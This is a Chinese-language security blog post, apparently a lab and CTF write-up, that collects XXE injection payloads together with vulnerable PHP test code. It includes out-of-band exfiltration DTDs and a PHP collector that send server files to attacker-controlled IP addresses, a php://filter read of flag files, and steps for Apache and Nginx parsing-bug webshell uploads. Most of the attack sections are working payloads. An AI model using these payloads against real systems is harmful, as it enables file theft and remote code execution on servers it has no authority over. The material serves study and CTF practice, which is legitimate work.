XXE外部实体注入大总结【万字详解】

  1. 基本原理

    1. XML 文档可以包含实体 (Entity),实体可以是内部的(定义在文档内部)或外部的(引用外部资源)。外部实体通常用于在 XML 文档中包含外部数据。如果 XML 解析器允许解析外部实体,那么攻击者可以利用这一点来执行恶意操作。
  2. XXE发现

    1. 黑盒
      1. 获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
      2. 不管获取的Content—Type类型或数据传输类型,均可尝试修改后提交测试xxe
      3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
    2. 白盒
      1. 可通过应用功能追踪代码定位审计
      2. 可通过脚本特定函数搜索定位审计
      3. 可通过伪协议玩法绕过相关修复等
  3. XXE~payload

    1. 读取文件
      1.   <?xml version="1.0"?>
          <!DOCTYPE Mikasa [
            <!ENTITY test SYSTEM "file:///d:/e.txt">
          ]>
          <user>
            <username>&test;</username>
            <password>Mikasa</password>
          </user>
        
    2. 带外测试
      1.   <?xml version="1.0"?>
          <!DOCTYPE test [
            <!ENTITY % file SYSTEM "http://7drrcs.dnslog.cn">
            %file;
          ]>
          <user>
            <username>&send;</username>
            <password>Mikasa</password>
          </user>
        
    3. 引用外部实体dtd
      1.   <?xml version="1.0" ?>
          <!DOCTYPE test [
          <!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
          %file;
          ]>
          <user><username>&send;</username><password>Mikasa</password></user>
          -----------------------------------------------------------------------------
          evil2.dtd
          <!ENTITY send SYSTEM "file:///d:/1/1.txt">
        
    4. 无回显读文件-带外
      1.   <?xml version="1.0"?>
          <!DOCTYPE ANY [
          <!ENTITY % file SYSTEM "file:///d:/e.txt">
          <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
          %remote;
          %all;
          ]>
          <root>&send;</root>
          -------------------------------------------------------------------------------
          服务端
          test.dtd
          <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
        
          get.php
          <?php
          $data = $_GET['file'];
          $myfile = fopen("file.txt", "w+");
          fwrite($myfile, $data);
          fclose($myfile);
          ?>
        
  4. 复现

    1. **复现文件:**​php_xxe.zip

    2. 读取文件
      1. 源码
        1.   doLogin.php
            <?php
            $USERNAME = 'admin'; //账号
            $PASSWORD = 'admin'; //密码
            $result = null;
          
            libxml_disable_entity_loader(false);
            $xmlfile = file_get_contents('php://input');
          
            try{
            	$dom = new DOMDocument();
            	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
            	$creds = simplexml_import_dom($dom);
          
            	$username = $creds->username;
            	$password = $creds->password;
          
            	if($username == $USERNAME && $password == $PASSWORD){
            		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
            	}else{
            		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
            	}
            }catch(Exception $e){
            	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
            }
          
            header('Content-Type: text/html; charset=utf-8');
            echo $result;
            ?>
          
      2. 捉取登录框的数据包,替换数据包内容即可

      3. 源码2
        1.   <?php
                libxml_disable_entity_loader (false);
                $xmlfile = file_get_contents('php://input');
                $dom = new DOMDocument();
                if($xmlfile){
                    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
                    $result = simplexml_import_dom($dom);
                    echo $result;
                }
                else{
                    show_source(__FILE__);
                }
            ?>
          
      4. 构造payload:

        <?xml version="1.0" encoding="utf-8"?> 
        <!DOCTYPE cong [  
        <!ENTITY SangFor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> 
        <cong>&SangFor;</cong>//显示结果
        
      5. 复现3
        1. 页面

        2. 捉包,放在repeater中测试回显点在邮箱处

        3. 故在邮箱处构造payload

          <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE test[
          	<!ENTITY Sangfor SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
          ]>
          <root><name>111</name><tel>222</tel><email>&Sangfor;</email><password>333</password></root>
          
    3. 带外测试
      1. 源码
        <?php
        $USERNAME = 'admin'; //账号
        $PASSWORD = 'admin'; //密码
        $result = null;
        
        libxml_disable_entity_loader(false);
        $xmlfile = file_get_contents('php://input');
        
        try{
        	$dom = new DOMDocument();
        	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
        	$creds = simplexml_import_dom($dom);
        
        	$username = $creds->username;
        	$password = $creds->password;
        
        	if($username == $USERNAME && $password == $PASSWORD){
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
        	}else{
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
        	}
        }catch(Exception $e){
        	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
        }
        
        header('Content-Type: text/html; charset=utf-8');
        echo $result;
        ?>
        
      2. 捉取数据包,替换其内容即可

    4. 外部实体引用
      1. 源码同上

      2. 本地有一个dtd文件,evil2.dtd,内容为 <!ENTITY send SYSTEM "file:///d:/1/1.txt">

      3. 捉包,改包来引用他

    5. 无回显带外
      1. 源码
        <?php
        $USERNAME = 'admin'; //账号
        $PASSWORD = 'admin'; //密码
        $result = null;
        
        libxml_disable_entity_loader(false);
        $xmlfile = file_get_contents('php://input');
        
        try{
        	$dom = new DOMDocument();
        	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//加载xml文件
        	$creds = simplexml_import_dom($dom);
        
        	$username = $creds->username;
        	$password = $creds->password;
        
        	if($username == $USERNAME && $password == $PASSWORD){
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
        	}else{
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
        	}
        }catch(Exception $e){
        	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
        }
        
        header('Content-Type: text/html; charset=utf-8');
        echo $result;
        ?>
        
      2. 在服务端部署evil2.dtd,和get.php

        1.   <?xml version="1.0"?>
            <!DOCTYPE ANY[
            <!ENTITY % file SYSTEM "file:///d:/1/1.txt">
            <!ENTITY % remote SYSTEM "http://43.139.186.80/evil2.dtd">
            %remote;
            %all;
            ]>
            <root>&send;</root>
            ---------------------------------------------
            服务端
            evil2.dtd
            <!ENTITY % all "<!ENTITY send SYSTEM 'http://43.139.186.80/get.php?file=%file;'>">
          
            get.php
            <?php
            $data = $_GET['file'];
            $myfile = fopen("file.txt", "w+");
            fwrite($myfile, $data);
            fclose($myfile);
            ?>
          
      3. 捉包替换数据包内容将1.txt的内容带到服务端

      4. 源码2
        1.   <?php
            $xml = file_get_contents("php://input");//$xml 由用户post数据赋值。
            if (strlen($xml)<10){
                highlight_file("index.php.bak");
            }
            libxml_disable_entity_loader(false);
            error_reporting(0);
            $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);//simplexml_load_string 函数会读取$xml文件。
            echo 'I just load, but did not dispay!';
          
      5. 利用HTTP请求,将文本的数据外带

      6. 访问flag.php状态码返回200,证明flag.php文件存在。

      7. 攻击者服务端创建两个文件

        1.   evil.txt
            <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
            <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://43.139.186.80/test.php?p=%file;'>">
          
            test.php
            <?php
            if (isset($_GET['p'])){
                file_put_contents('result.txt', $_GET['p']);
            }
          

      8. 攻击payload

        <?xml version="1.0"?> 
        <!DOCTYPE everything [  
        <!ENTITY % SangFor SYSTEM "http://43.139.186.80/evil.txt"> 
        %SangFor;%int;%send;]> 
        
    6. CTF赛题

      1. 前端代码
        1.   靶场地址:http://web.jarvisoj.com:9882/
            <html>
            <head>
            <link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/>
            <script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js"></script>
            </head>
            <body>
            <div class="show">
            <textarea id="tip-area" width=100px height=50px disabled></textarea>
            </div>
            <div class="control-area">
            <input id="evil-input" type="text" width=100px height=50px value="type sth!"/>
            <button class="btn btn-default" type="button" onclick="send()">Go!</button>
            </div>
            <script>
            function XHR() {
                    var xhr;
                    try {xhr = new XMLHttpRequest();}
                    catch(e) {
                        var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
                        for (var i=0,len=IEXHRVers.length;i< len;i++) {
                            try {xhr = new ActiveXObject(IEXHRVers[i]);}
                            catch(e) {continue;}
                        }
                    }
                    return xhr;
                }
          
            function send(){
             evil_input = document.getElementById("evil-input").value;
             var xhr = XHR();
                 xhr.open("post","/api/v1.0/try",true);
                 xhr.onreadystatechange = function () {
                     if (xhr.readyState==4 && xhr.status==201) {
                         data = JSON.parse(xhr.responseText);
                         tip_area = document.getElementById("tip-area");
                         tip_area.value = data.task.search+data.task.value;
                     }
                 };
                 xhr.setRequestHeader("Content-Type","application/json");
                 xhr.send('{"search":"'+evil_input+'","value":"own"}');
            }
            </script>
            </body>
            </html>
            //可以看到XMLHttpRequest,猜测存在xxe漏洞·
          
      2. 捉取数据包并修改内容和类型

        POST /api/v1.0/try HTTP/1.1
        Host: web.jarvisoj.com:9882
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: */*
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Content-Type: application/xml;charset=utf-8
        Referer: http://web.jarvisoj.com:9882/
        Content-Length: 108
        DNT: 1
        Connection: close
        
        <?xml version = "1.0"?>
        <!DOCTYPE ANY [
            <!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
        ]>
        <x>&f;</x>
        

代码审计流程

  1. 源码链接:https://pan.baidu.com/s/15O6Hf2tM90T3ZEp9E2x_Ew?pwd=cong

  2. 过程
    1. 首先放入审计系统

    2. 搜索可疑xxe函数simplexml_load_string

    3. 看到敏感可疑函数,最终pe_getxml函数的调用

    4. 最终到wechat_getxml,继续全局搜索最终

    5. 最后追踪到这个路径D:\phpstudy_pro\WWW\phpshe\include\plugin\payment\wechat\notify_url.php

    6. 在网站上访问并测试是否存在漏洞

    7. 发现xxe漏洞,因为通过源码发现他的返回结果是固定的,所以利用无回显文件外带即可任意读取

XXE内置类利用

  1. 源码

    1.   <?php
        class NotFound{
            function __construct()
            {
                die('404');
            }
        }
        spl_autoload_register(
            function ($class){
                new NotFound();
            }
        );
        $classname = isset($_GET['name']) ? $_GET['name']:null;
        $param = isset($_GET['param']) ? $_GET['param'] : null;
        $param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
        if (class_exists($classname)){
            $newclass = new $classname($param,$param2);//创建name的类
            var_dump($newclass);//输出该类
            foreach ($newclass as $key=>$value)
                echo $key.'$value'.'<br>';
        }
        show_source(__FILE__);
        ?>
      
  2. 源码将传入的变量作为类名来创建类,这样我们就可以调用php内置存在的类来进行注入

  3. 首先可以使用GlobIterator类来寻找目录下各个文件的名字

  4. GlobIterator类第一个参数是必须的,也就是搜索的文件名,第二个参数为搜索。

  5. payload:?name=GlobIterator&param=*.php&&param2=2

  6. 通过搜索发现f1111ag.php文件,下一步使用SimpleXMLElement类读取f1111ag.php文件。

  7. payload:

    ?name=SimpleXMLElement&param=<?xml%20version="1.0"?><!DOCTYPE%20ANY%20[<!ENTITY%20xxe%20SYSTEM%20"php://filter/read=convert.base64-encode/resource=f1111ag.php">]><x>%26xxe;</x>&param2=2
    

Apache HTTPD 换行解析漏洞

(cve-2017-15715)

  1. 介绍

    1. Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
  2. 条件

    1. apache 2.4.0~2.4.29版本
    2. 两个功能点:1.有文件上传 2.在同一个页面可以上传后修改名称,原因因该是3.php有双引号锁着,当将20改为0a时,双引号掉到下一行,即使改回去也不行,而内容处符合条件
  3. 复现

    1. 上传一个php木马,在更改后的名称加一个空格

    2. 转到16进制,将对应名称后面的20改为0a

    3. 连接时记得在后面添加上%0a即可

Nginx 文件名逻辑漏洞

(CVE-2013-4547)

  1. 原理

    1. 这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
  2. 条件

    1. Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
  3. 复现

    1. 上传gif数据包,在文件名处加空格与添加执行代码即可

    2. 访问/uploadfiles/10.gif .php这个路径,将空格处的16进制改为20 00

    3. 发包,执行成功

Nginx 解析漏洞

  1. 概念

    1. 由于 nginx.conf 配置将以 .php 结尾的文件交给 FastCGI 处理,攻击者可以通过构造类似 http://ip/uploadfiles/test.png/.php 的 URL(其中 test.png 是包含 PHP 代码的图片文件)来利用此漏洞。FastCGI 在找不到 .php 文件时,php.ini 中的 cgi.fix_pathinfo=1 配置会将请求路径修复为上层路径,即 test.png。如果 php-fpm.confsecurity.limit_extensions 配置为空,FastCGI 将解析 .png 文件为 PHP 代码。为防止此类攻击,应限制 php-fpm 仅解析 .php 扩展名。
  2. 条件

    1. 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
    2. php-fpm.conf配置文件未设置成.php
  3. 复现

    1. 上传正常图片,捉包,最后面放入执行代码

    2. 得到路径ploadfiles/4a47a0db6e60853dedfcfdf08a5ca249.png在后面加上/1.php进行访问即可

  • 18
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值